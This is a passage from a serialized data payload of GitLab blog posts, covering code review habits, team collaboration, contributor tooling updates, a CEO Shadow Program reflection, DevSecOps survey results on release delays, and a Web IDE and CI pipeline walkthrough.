animated GIF Speaks 100,000.\n\nWhile this is the least technical aspect of the entire post it is perhaps the most interesting and the easiest to implement.\n\nDid you know that 93% of communication is nonverbal? I didn't, until I started seeing GIFs in code reviews. When I began to see them pop up in reviews, they deeply caught my attention, and I began to wonder why they had such a lasting impression on me as a developer.\n\nWords are powerful, but images are particularly powerful because of their ties to our emotions. Images have the potential to create powerful emotional responses, and when you see something that sparks a sense of positivity, it sets the tone for the entire review. You **understand fully** that the reviewer really cares and wants to communicate that care non-verbally.\n\nSo how do you use GIFs in your merge requests and code reviews? Well, you could [start with our handbook instructions](/handbook/product/making-gifs/), but the short and sweet version:\n\n1. Use a screen recorder to capture the video you want to show as a GIF.\n2. Grab yourself a copy of [gifify](https://github.com/vvo/gifify).\n3. GIF all day long!\n\n### GIFs That Show You Care\n\nI won't ever forget the first time I saw a [funny GIF in a code review](https://gitlab.com/gitlab-org/gitlab-ui/-/merge_requests/1193#note_307290889). I never even made it to reading the comment, because all I could comprehend was this animated GIF of a thumbs-up and I remember thinking: *This merge would pass review. It would all be okay.* The sheer childlike giddy nature of seeing this image in action made me smile ear-to-ear. Every other comment could have been a rant about how awful my code was, but I wouldn't have cared.\n\nIf I can give you one piece of advice for your code reviews as a reviewer, use GIFs in a light-hearted way, because they are:\n\n- empathy-laden\n- soften the blow of a hard topic\n- foster positivity\n- make code reviews fun!\n\n![teamwork](https://media.giphy.com/media/vcHTRiZOglHNu/giphy.gif)\n\nWe're currently looking at making [Giphy a integrated feature here at GitLab](https://gitlab.com/gitlab-org/gitlab/-/issues/17379), making your code reviews even easier and more fun!\n\n## Tactical code reviews through the value of iteration\n\n> Can we make this smaller? - Clement Ho([@ClemMakesApps](https://gitlab.com/ClemMakesApps))\n\nOne thing I have noticed that help time and time again for better code reviews is the idea of breaking down a merge request into the smallest piece possible. A few people in my time here at GitLab have really put this across as a valuable way of working, but it was my frontend engineering manager Clement Ho([@ClemMakesApps](https://gitlab.com/ClemMakesApps)) that I really took notice championing this ideal. Given that I started paying close attention to this idea and began to notice benefits almost immediately when implementing the idea.\n\nIf we look at the GitLab value handbook's [suggestions iteration competency](https://handbook.gitlab.com/handbook/values/#iteration-competency) you can see that the value in small, digestible merge requests which translates into smaller code reviews:\n\n| Level | Demonstrates Iteration Competency by… |\n|",[1207,6141,534],{"slug":23254,"featured":6,"template":678},"better-code-reviews","content:en-us:blog:better-code-reviews.yml","Better Code Reviews","en-us/blog/better-code-reviews.yml","en-us/blog/better-code-reviews",{"_path":23260,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23261,"content":23266,"config":23272,"_id":23274,"_type":16,"title":23275,"_source":17,"_file":23276,"_stem":23277,"_extension":20},"/en-us/blog/collaboration-in-product-planning",{"title":23262,"description":23263,"ogTitle":23262,"ogDescription":23263,"noIndex":6,"ogImage":18477,"ogUrl":23264,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23264,"schema":23265},"Successful collaboration approaches in product planning","Collaboration can be hard, but we've found a few tips and tricks that help us succeed here at GitLab.","https://about.gitlab.com/blog/collaboration-in-product-planning","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Successful approaches for team collaboration between Design, Product, Engineering, and Quality\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Yavorska\"}],\n        \"datePublished\": \"2020-06-03\",\n      }",{"title":23267,"description":23263,"authors":23268,"heroImage":18477,"date":23269,"body":23270,"category":18484,"tags":23271},"Successful approaches for team collaboration between Design, Product, Engineering, and Quality",[22054],"2020-06-03","\nWithin the CI/CD sub-department here at GitLab we've been focusing on improving collaboration between each of the internal teams that contribute to our success as we move through our [product process](/handbook/product-development-flow/): Design, Product, Writing, Quality, and Engineering. We've noticed a few key points that really seem to make a big difference: \n\n## Team collaboration: Understand the problem you're trying to solve early\n\nTry to recognize early when you don't understand the problem to solve, or if there's disagreement. And even when you think you have the solution, test it out a bit and explore some edge cases (or you'll have to loop back around again). As an important benefit, a good understanding of the problem to solve will help you come up with the [smallest but valuable iteration](https://handbook.gitlab.com/handbook/values/#iteration).\n\n### Don't make it one person's job to lead the way or get things started\n\nWe expect an active contribution from everyone on the team around defining the problem and coming up with the solution for it. Everyone has an [important role to play](/handbook/product/product-processes/#pm-em-ux-and-set-quad-dris) - Product Manager, Product Designer, Quality, and Engineering. \n\nWhile Product Managers should be able to clearly articulate why something is prioritized, they should not be seen as the only facilitator of product advancement. It's a team effort, and everyone at GitLab is expected to be a [manager of one](https://handbook.gitlab.com/handbook/values/#managers-of-one). \n\n### Take advantage of everyone's different expertise\n\nSometimes, a bit of research will really align to one area of expertise. Maybe there's a business opportunity for the Product Manager, a complex visualization of data for the designer, or a hard technical challenge for the engineer - each of these can cause that person to go off and lead the way for that aspect. But they should have the support of the rest of the group. In all other cases, understanding the problem and coming up with a solution (whether using the product validation flow or just informally in an issue) is a team effort, and everyone is equally important.\n\nFollowing these principles will help your team both build trust and learn to recognize when more analysis is needed instead of pushing ahead too early. It will also help you to achieve more than any one person can do on their own.\n",[2248,695,942,674,2368],{"slug":23273,"featured":6,"template":678},"collaboration-in-product-planning","content:en-us:blog:collaboration-in-product-planning.yml","Collaboration In Product Planning","en-us/blog/collaboration-in-product-planning.yml","en-us/blog/collaboration-in-product-planning",{"_path":23279,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23280,"content":23286,"config":23291,"_id":23293,"_type":16,"title":23294,"_source":17,"_file":23295,"_stem":23296,"_extension":20},"/en-us/blog/13-0-contributor-experience-update",{"title":23281,"description":23282,"ogTitle":23281,"ogDescription":23282,"noIndex":6,"ogImage":23283,"ogUrl":23284,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23284,"schema":23285},"13.0 Contributor Experience Update","We're continually improving the tooling that helps our community of contributors build GitLab. Here's what's new over the last month!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669604/Blog/Hero%20Images/tanuki-bg-sm.gif","https://about.gitlab.com/blog/13-0-contributor-experience-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"13.0 Contributor Experience Update\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Patrick Deuley\"},{\"@type\":\"Person\",\"name\":\"Taurie Davis\"}],\n        \"datePublished\": \"2020-06-01\",\n      }",{"title":23281,"description":23282,"authors":23287,"heroImage":23283,"date":23288,"body":23289,"category":18484,"tags":23290},[20747,19672],"2020-06-01","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThe Ecosystem group is the home of the [Pajamas Design System](https://design.gitlab.com) and the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit). Our job is to help you as a contributor work on GitLab, whether that's writing backend code, creating awesome new features in our UI, or testing feature branches to validate new work that's about to go in.\n\nThis is a collection of all the updates from the last month, including changes to Pajamas, new components in GitLab UI, new icons, new commands in the GDK, and more! Check it out below, and as always, please feel free to send us issues for new things we could improve or add. You can also find us in [#g_ecosystem](https://gitlab.slack.com/archives/CK4Q4709G) (for general inquiries), [#g_manage_foundations](https://gitlab.slack.com/archives/C010NAWPRV4) (for Pajamas and GitLab-UI), or [#gdk](https://gitlab.slack.com/archives/C2Z9A056E). 🎉\n\n\n## Pajamas\n\n* We introduced [semantic releases](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1866) and [conventional commits](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1863). \n* We updated our [component status table](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1878) to include different touchpoints. This includes Figma, Usage docs, Vue docs, GitLab UI state, and Accessibility audit statuses.\n\n## Usage guidelines\n\n* We added first usage guideline iterations for [Progress Bars](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1886) and [File Uploaders](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1799).\n* We also clarified the [position of buttons in alerts](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1889), as well as added [dismissal guidelines for banners](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1893).\n* We introduced documentation for our new [data visualization color palette](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1831).\n\n_[Check out the changelog](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/blob/main/CHANGELOG.md) for more improvements._\n\n## GitLab UI\n\n* Within GitLab UI, we introduced [UX Reviewers](https://gitlab.com/gitlab-org/gitlab-ui/-/merge_requests/1358) to our review roulette bot.\n* We also started laying the foundation for using GitLab UI in our Docs as part of our [Beautifying the Docs](https://gitlab.com/groups/gitlab-org/-/epics/3063) effort.\n\n## Component updates\n\n* Our [markdown typescale](https://gitlab.com/gitlab-org/gitlab-ui/-/merge_requests/1201) is now viewable with compact markdown coming soon.\n* We've [removed the documentation link from scoped labels](https://gitlab.com/gitlab-org/gitlab-ui/-/merge_requests/1259), [standardized alert styling](https://gitlab.com/gitlab-org/gitlab-ui/-/merge_requests/1344), added [filters](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1897) as built and ready to use, fixed [dropdown styles](https://gitlab.com/gitlab-org/gitlab-ui/-/merge_requests/1322), and introduced the [loading button](https://gitlab.com/gitlab-org/gitlab-ui/-/merge_requests/1308). We also clarified that [filter and sorting functionality shouldn't be combined in the same component](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1879).\n\n_[Check out the changelog](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/master/CHANGELOG.md) for more improvements._\n\n## Figma migration\n\n* New components have been added to Figma!\n  * [Token](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1917)\n  * [Sorting](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1890)\n  * [Tree](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com/-/merge_requests/1896)\n* We [deprecated the Sketch UI Kit](https://gitlab.com/gitlab-org/gitlab-design/-/merge_requests/243) in favor of the [Pajamas UI Kit](https://www.figma.com/community/file/781156790581391771) in Figma. We also determined [Project and Team library structure in Figma](https://gitlab.com/gitlab-org/gitlab-design/-/merge_requests/247/diffs) and added [guidance on collaborating within Figma vs. GitLab's Design Management](https://gitlab.com/gitlab-org/gitlab-design/-/merge_requests/248)\n\n# Icons\n\n* Issue templates for adding new [icons](https://gitlab.com/gitlab-org/gitlab-svgs/-/merge_requests/539) and [illustrations](https://gitlab.com/gitlab-org/gitlab-svgs/-/merge_requests/541) have been moved from [GitLab Design](https://gitlab.com/gitlab-org/gitlab-design) to [GitLab SVGs](https://gitlab.com/gitlab-org/gitlab-svgs).\n* The following icons were added to GitLab SVG:\n  * [Project, group, and subgroup](https://gitlab.com/gitlab-org/gitlab-svgs/-/merge_requests/562)\n  * [Expire](https://gitlab.com/gitlab-org/gitlab-svgs/-/merge_requests/564)\n  * [Container image](https://gitlab.com/gitlab-org/gitlab-svgs/-/merge_requests/566)\n\n# GDK\n\n* [GDK doctor](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=gdk-doctor&milestone_title=13.0) now checks a bunch of Ruby gems that have C extensions that are known to cause issues\n* There's [a new `quiet` mode](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/1267) that reduces the \"noise\" during the bundle installation. This should make it more obvious when actionable things happen. Try it out and let us know if this is helpful!\n\n## Documentation\n* We added some [general commands](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/troubleshooting.md#troubleshooting) that are good to know when troubleshooting GDK errors.\n* We've [restructured the documentation](https://gitlab.com/gitlab-org/gitlab-development-kit/-/tree/master/doc) to make it easier to navigate! This includes moving non-core content into `doc/howto` to centralize specific how to docs in one place.\n* There were also [24 other documentation improvements](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=documentation&milestone_title=13.0)!! 🎉\n* [YARD documentation](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/1213) is now automatically generated and accessible at https://gitlab-org.gitlab.io/gitlab-development-kit/\n* [Webpack is now able to be run in different modes](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/1201/)\n* There's now a doc on how to [configure a hosted Grafana instance](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/prometheus/third_party_access.md#configuring-a-hosted-grafana-instance)\n\n## CI\n  - All [shell scripts](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/1190)  within the project are now checked\n  - Documentation linted even further with the [introduction of Vale](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/1193)\n  - Ruby code is now [checked with RuboCop](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/1206)\n  - CI config was [split up into templates](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/1229)\n  - CI jobs are now [interruptible by default](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/1256)\n\n## Misc\n  - [Sidekiq logging now JSON by default](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/1198)\n\n",[2704,7715,1385],{"slug":23292,"featured":6,"template":678},"13-0-contributor-experience-update","content:en-us:blog:13-0-contributor-experience-update.yml","13 0 Contributor Experience Update","en-us/blog/13-0-contributor-experience-update.yml","en-us/blog/13-0-contributor-experience-update",{"_path":23298,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23299,"content":23304,"config":23310,"_id":23312,"_type":16,"title":23313,"_source":17,"_file":23314,"_stem":23315,"_extension":20},"/en-us/blog/how-the-ceo-shadow-program-boosted-my-individual-productivity-during-the-covid-19-crisis",{"title":23300,"description":23301,"ogTitle":23300,"ogDescription":23301,"noIndex":6,"ogImage":18477,"ogUrl":23302,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23302,"schema":23303},"How the CEO Shadow Program improved my pandemic productivity","How the CEO Shadow Program boosted my individual productivity during the COVID-19 crisis","https://about.gitlab.com/blog/how-the-ceo-shadow-program-boosted-my-individual-productivity-during-the-covid-19-crisis","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How the CEO Shadow Program boosted my individual productivity during the COVID-19 Crisis\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brittany Rohde\"}],\n        \"datePublished\": \"2020-05-29\",\n      }",{"title":23305,"description":23301,"authors":23306,"heroImage":18477,"date":23308,"body":23309,"category":18484},"How the CEO Shadow Program boosted my individual productivity during the COVID-19 Crisis",[23307],"Brittany Rohde","2020-05-29","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\nIn late January/early February I was fortunate enough to become a part of the CEO Shadow Program at GitLab. Having been at GitLab for three and a half years, I have been exposed to an organization scaling at an amazing rate in our all remote setting. Aside from [Contribute](/events/gitlab-contribute/), this program would be the first time I would work from an office while at the company, which was nerve wracking and exciting.\n\nIn addition to being nervous about going into an office daily to work in person with the CEO and the co-shadow after working from home only for nearly four years, I was also grappling with the idea of being apart from my one year old daughter. Thankfully, I am originally from Northern California and with the support from the CEO Shadow Planning team, I was able to coordinate a schedule with my family where I could work from San Francisco during the week and spend the weekend in between with my daughter.\n\nI did not expect how much I would take away from this two week intensive program, and how immediately impactful it would become on my life.\n\n## What did I take away:\n\n* Iteration when working towards the minimum viable change can be an effective value, especially in the non-engineering groups where long term projects are more normal compared to an agile workflow.\n* Speak up. My contributions were more than welcome whenever I was shadowing in a call, work dinner meeting, or just chatting with Sid, our CEO. A different perspective cannot be heard if it is not shared.\n* Don’t waste anyone’s time since in a remote setting you are also wasting your own time. This is especially important in meetings. If you are asking yourself, what is the purpose of this meeting, don’t take the time to have it.\n* Instead, work asynchronously as much as possible so there is more time for what you choose to do in your day. For example, instead of a status update meeting you could have a coffee chat with someone that you may never otherwise interact with.\n* Learn something from every conversation. If you didn’t learn something from a call, ask questions until you do.\n\n## Impact of the Takeaways\n\nOnce I returned to my home office, I became extremely excited to take these learnings along with many others I had gathered throughout my time with Sid, Suzie the cat, and the co-shadows. Little did I know that within a month the world would be entering the COVID-19 crisis and the change that would occur in the workplace.\n\nAs GitLab was already a remote only company, my initial thought was that my daily routine would not change much. It was not until my daughter’s school closed that I started to see the potential impact on my personal productivity. The first few weeks were challenging to navigate my workload, my daughter’s schedule, our two dogs, and my significant other (who was still required to physically go to work). I was not sure what I should do when or if I was doing enough in any category of my life. Is my daughter watching too much tv? Should I work a couple hours this evening to round out my work day? It wasn’t until I let go of expectations and gave myself a break that I was able to just do small things at a time to try to climb the hills in front of me each day.\n\nOn the work front, I set a new schedule for myself where I would have blocks in the day to focus only on my family. On the personal side, I would try to incorporate my daughter into everyday chores so I could keep up with the endless amount of laundry that seemed to be piling up at home. Over time, we have gotten into a rhythm that works for us with some days being harder than others.\n\nTo my surprise, I looked at my productivity levels after a couple weeks and it hadn’t changed much overall. I have felt pulled and scattered, but my output was staying relatively constant. When I reflect on why, it is because I have instinctually started applying the learnings from my time as a CEO shadow to my everyday work.\n\nSince I may only have 20 minutes here or there to work instead of the set blocks of time I was used to in the past, I focus on the smallest possible output and document for myself where I left off. This has increased my contributions to issues and docs where someone else can easily jump in resulting in a multitude of minimum viable changes. Instead of shying away or being embarrassed by my toddler running around or chatting (even sometimes screaming) in a call, I just introduce her to everyone and incorporate her into the conversation when I do speak up. It is amazing how gracefully my colleagues, both internally at GitLab as well as vendors externally, have reacted to making sure I did not feel less than for her presence.\n\nI am also in less meetings. Since my calendar is blocked over for more time throughout the day, I am noticing an uptick in async first, then hop on a call if we can’t sort through an item via an issue or slack. And lastly, if I feel as though my attendance in a meeting is not necessary, I decline. Right now, every productive minute of my time is worth double to me than it was before because it means I am even less present with my family.\n\nThe main piece of this shelter in place I will remember is that I am learning so much from my peers at GitLab. We are learning more and more about each other’s daily lives, how to cope, how to support, and how to uplift one another throughout this historic time. While our new normals may be chaotic, stressful, and uncertain, there has become a sense of belonging in that we are all just trying to figure out how to move from one day to the next.\n\nThe timing of the CEO shadow program was impeccable for me in that it not only reminded me of why I joined GitLab, but also why I have stayed. The takeaways of this program have helped shape the way I do my daily work so that I can cope in a time of great uncertainty. For anyone at GitLab uncertain of whether or not to participate, I highly encourage you to make a merge request and sign up for a slot. I guarantee you will learn so much about the company or yourself that can help you at any point in your career.\n\nCover image credit:\n\nCover image by [Tine Ivanic](https://unsplash.com/photos/u2d0BPZFXOY) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",{"slug":23311,"featured":6,"template":678},"how-the-ceo-shadow-program-boosted-my-individual-productivity-during-the-covid-19-crisis","content:en-us:blog:how-the-ceo-shadow-program-boosted-my-individual-productivity-during-the-covid-19-crisis.yml","How The Ceo Shadow Program Boosted My Individual Productivity During The Covid 19 Crisis","en-us/blog/how-the-ceo-shadow-program-boosted-my-individual-productivity-during-the-covid-19-crisis.yml","en-us/blog/how-the-ceo-shadow-program-boosted-my-individual-productivity-during-the-covid-19-crisis",{"_path":23317,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23318,"content":23323,"config":23327,"_id":23329,"_type":16,"title":23330,"_source":17,"_file":23331,"_stem":23332,"_extension":20},"/en-us/blog/what-blocks-faster-code-release",{"title":23319,"description":23320,"ogTitle":23319,"ogDescription":23320,"noIndex":6,"ogImage":9234,"ogUrl":23321,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23321,"schema":23322},"What blocks faster code releases? It starts with testing","Our 2020 DevSecOps Survey found testing was the number one reason for release delays, but planning and code reviews were also challenges. Here’s what you need to know.","https://about.gitlab.com/blog/what-blocks-faster-code-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What blocks faster code releases? It starts with testing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-05-29\",\n      }",{"title":23319,"description":23320,"authors":23324,"heroImage":9234,"date":23308,"body":23325,"category":8943,"tags":23326},[11618],"\nOur [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals.\n\nFirst, the good news: do DevOps right and you’ll release code faster. In fact, 83% of our [2020 Global DevSecOps Survey](/developer-survey/) respondents said code heads out the door more quickly thanks to a successful DevOps practice.\n\nBut we also asked survey takers what was most likely to delay their code, and their responses highlighted some of the toughest challenges DevOps practitioners face. When it comes to delays, 47% said testing was the culprit, while 39% said planning, and 28% said code review.\n\nAt a time when faster software releases are perhaps even more critical than ever before, it may be helpful for your organization to take a hard look at what blocked our 3652 respondents from 21 countries across 19 job categories. Test, planning, and code reviews are essential steps in DevOps, but as our survey responses show, they can easily turn into black holes of time and frustration.\n\n## The trouble with testing\n\nLet’s just say it: Testing is hard. A key component of successful DevOps, testing is apparently the hill many teams die on – repeatedly. In [our 2019 survey](/blog/global-developer-report/) 49% of all respondents pointed their fingers squarely at test as the primary cause of delays, and it’s discouraging that the percentage was only slightly smaller this year.\n\n_\"We are slow and do not test very well. We do Big Bang deployments.\"_\n\nThe trouble with testing boils down to essentially two issues: there are never enough tests done and automating testing is tricky. We asked developers to assess their tasks and to tell us what they should be doing but are not. The vast majority of them said they weren’t doing enough testing, period.\n\n_\"Not enough tests (or none) and then the code doesn’t work in production. Some collaborators have poor IT skills.\"_\n\n_\"Too little testing done too late.\"_\n\n_\"We need more test cases to cover 100% of everything.\"_\n\nJust 12% of survey takers told us their teams had full test automation and about 25% said they either have nothing set up or are only beginning the automation journey.\n\nThere are a few glimmers of hope. For starters, teams that have cracked the test automation code told us about the concrete benefits.\n\n_\"We do [TDD (test driven development)](https://www.agilealliance.org/glossary/tdd/). QA and dev act as a team. We have automated tests running parallel with developing code.\"_\n\nAnd 16% of survey respondents either have a \"bot\" reviewing their code or have an AI/ML tool in place for testing. It's early days for AI-powered testing, clearly, but the results are intriguing.\n\n## The truth about planning\n\nTesting may be technically challenging but planning is also a significant stretch for many development teams. A developer shared that work happened \"without much planning\" and that was a common refrain.\n\nOne reason for a perceived or real lack of planning could lie in the fact that many software teams use hybrid development methodologies, each of which have their own (not necessarily compatible) planning practices. Feedback from survey takers seemed to support this.\n\n_\"Planning is in the form of some teams doing waterfall and others doing 'wagile.''\"_\n\n_\"Planning is somewhat heavyweight and a little less than agile.\"_\n\nFor many of our survey takers, there was just overall frustration with the planning process.\n\n_\"Poor planning leads to a lot of doubling back.\"_\n\n## The paradox of code reviews\n\nThere is no question code reviews are critical to DevOps success. Almost 50% of all our respondents conduct them weekly and a significant percentage do them twice a week or even daily. But they’re also a source of frustration when it comes to getting code out the door quickly. Code reviews at some companies can require too many people, or not enough people, or too much \"paperwork.\"\n\n_\"We have a strict code review process and it often takes several days for the reviewer to respond to requests for review.\"_\n\n_\"Code review takes time and every developer has to explain how he achieved what he did.\"_\n\n_\"Code reviews can take a long time due to the lack of reviewers.\"_\n\nCode reviews are cumbersome but 95% of our respondents said they’re either very or moderately valuable for ensuring code quality and security. The trick is to just figure out how to streamline them, and one survey taker offered his organization’s strategy: \"Each merge request is code reviewed by a peer; there is no team code review.\"\n\nOur [2022 Global DevSecOps Survey](/developer-survey/) has the latest insights from over 5,000 DevOps professionals. You can also compare it with [previous year surveys](/developer-survey/previous/)\n",[1207,8570,4103],{"slug":23328,"featured":6,"template":678},"what-blocks-faster-code-release","content:en-us:blog:what-blocks-faster-code-release.yml","What Blocks Faster Code Release","en-us/blog/what-blocks-faster-code-release.yml","en-us/blog/what-blocks-faster-code-release",{"_path":23334,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23335,"content":23341,"config":23346,"_id":23348,"_type":16,"title":23349,"_source":17,"_file":23350,"_stem":23351,"_extension":20},"/en-us/blog/using-gitlab-web-ide-gitlab-ci-cd",{"title":23336,"description":23337,"ogTitle":23336,"ogDescription":23337,"noIndex":6,"ogImage":23338,"ogUrl":23339,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23339,"schema":23340},"How to make small changes using GitLab’s Web IDE","A quick three minute demo shows how teams can deliver better apps faster using GitLab CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678812/Blog/Hero%20Images/web-ide-cover.jpg","https://about.gitlab.com/blog/using-gitlab-web-ide-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to make small changes using GitLab’s Web IDE\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-05-28\",\n      }",{"title":23336,"description":23337,"authors":23342,"heroImage":23338,"date":23343,"body":23344,"category":8943,"tags":23345},[18462],"2020-05-28","\n\nIt’s not enough to say something is quick and easy. To have a better understanding of some of the benefits of using [GitLab CI/CD](/topics/ci-cd/), it’s much better to _show_ you.\n\nIn a [short video](https://www.youtube.com/watch?v=6207TKNGgJs&feature=emb_logo), [Itzik Gan-Baruch](/company/team/#iganbaruch) technical marketing manager, demonstrates how to submit a code change using GitLab Web IDE. In three minutes, teams can submit a code change and commit it, trigger a CI pipeline to scan for any errors, and ship the updated application to users.\n\n## Getting started with GitLab Web IDE\n\nAll code that gets automatically tested and deployed to production has a human at its source. In GitLab 10.7, we released the [first iteration of our Web Integrated Development Environment (IDE)](/blog/introducing-gitlab-s-integrated-development-environment/) after observing how non-developers struggled with editing multiple files and committing those changes. Since we believe that [everyone can contribute](/company/mission/#mission), building an editor that was integrated with GitLab that made it easier for anyone to contribute seemed like a natural fit. To access the Web IDE, just click the button from any GitLab project.\n\n![Web IDE](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_1.png){: .shadow.medium.center}\n\nThe Web IDE button\n{: .note.text-center}\n\nIn this simple project with a job application, you can use the Web IDE to make a code change and push it to a feature branch. Select the file you would like to change from the menu on the left.\n\n![Selecting a file](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_2.png){: .shadow.medium.center}\n\nSelecting a file from the Wed IDE\n{: .note.text-center}\n\nOnce you’ve modified the text in that file, add a commit message and create a new branch. Click `Commit` to create a merge request.\n\n![Commit](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_3.png){: .shadow.medium.center}\n\nCommit to create a merge request\n{: .note.text-center}\n\nYour commit generates a merge request, and from here you can add an assignee, tie this code change to a specific milestone, add labels, or add any additional information regarding the change.\n\n![Modify merge request](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_4.png){: .shadow.medium.center}\n\nSubmit merge request\n{: .note.text-center}\n\nA new [continuous integration pipeline](/solutions/continuous-integration/) is triggered automatically. Click on the pipeline to see the stages.\n\n![Pipeline](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_5.png){: .shadow.medium.center}\n\nClick on the pipeline from the merge request\n{: .note.text-center}\n\nIn this project, the pipeline needed zero-configuration because it was generated through GitLab's [Auto DevOps](/direction/delivery/auto_devops/) capability. The pipeline has stages and a few jobs within each stage.\n\n![Auto DevOps pipeline](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_6.png){: .shadow.medium.center}\n\nA CI pipeline automatically configured with GitLab Auto DevOps\n{: .note.text-center}\n\nFirst, it builds a Docker image for the code and pushes it to the container registry. From there, it begins tests and scans jobs that run in parallel to help speed up the pipeline.\n\n![Pipeline jobs](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_7.png){: .shadow.medium.center}\n\nClick on a job within the pipeline stage to get more information\n{: .note.text-center}\n\nBy clicking on a job within the stage, you can see what happens.\n\n![dependency scan](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_8.png){: .shadow.medium.center}\n\nDependency scanning details\n{: .note.text-center}\n\nOnce all tests are completed, all test results will be added to the merge request that was created. The merge request is really the key to using GitLab as a code collaboration and [version control platform](/topics/version-control/). It’s simply a request to merge one branch into another.\n\n![merge requests](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_9.png){: .shadow.medium.center}\n\nMerge requests for this project\n{: .note.text-center}\n\n[Review Apps](https://docs.gitlab.com/ee/ci/review_apps/) are a way to visualize the changes that were made. Click `View app` once the pipeline has completed to access the staging environment.\n\n![Review apps](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_10.png){: .shadow.medium.center}\n\nSelect `View app` to access a staging environment once a pipeline completes.\n{: .note.text-center}\n\nIn this environment, only changes that were made in the merge request will be displayed. This link can be sent to others so they can view the changes from a web browser.\n\n![staging environment](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_12.png){: .shadow.medium.center}\n\nThe Review App for this project\n{: .note.text-center}\n\nFrom the merge request, you can see the test results, including changes to code quality and the security scans. This scan detected 20 new vulnerabilities. If you’d like more information, just click `Expand` on the right.\n\n![pipeline test results](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_13.png){: .shadow.medium.center}\n\nPipeline test results\n{: .note.text-center}\n\nOnce the results have been expanded, you can click on each one to get more details.\n\n![SAST scan](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_14.png){: .shadow.medium.center}\n\nSAST vulnerabilities detected\n{: .note.text-center}\n\nBy clicking on one of these results, you can see the file that caused the vulnerability as well as the problematic lines of code.\n\n![security report](https://about.gitlab.com/images/blogimages/CI_demo_blog_May_28/CI_demo_15.png){: .shadow.medium.center}\n\nSecurity report\n{: .note.text-center}\n\nFrom this menu, you can choose to dismiss the vulnerability or create an issue so that someone can fix it. Details from the test will be added to the issue automatically.\n\n![new 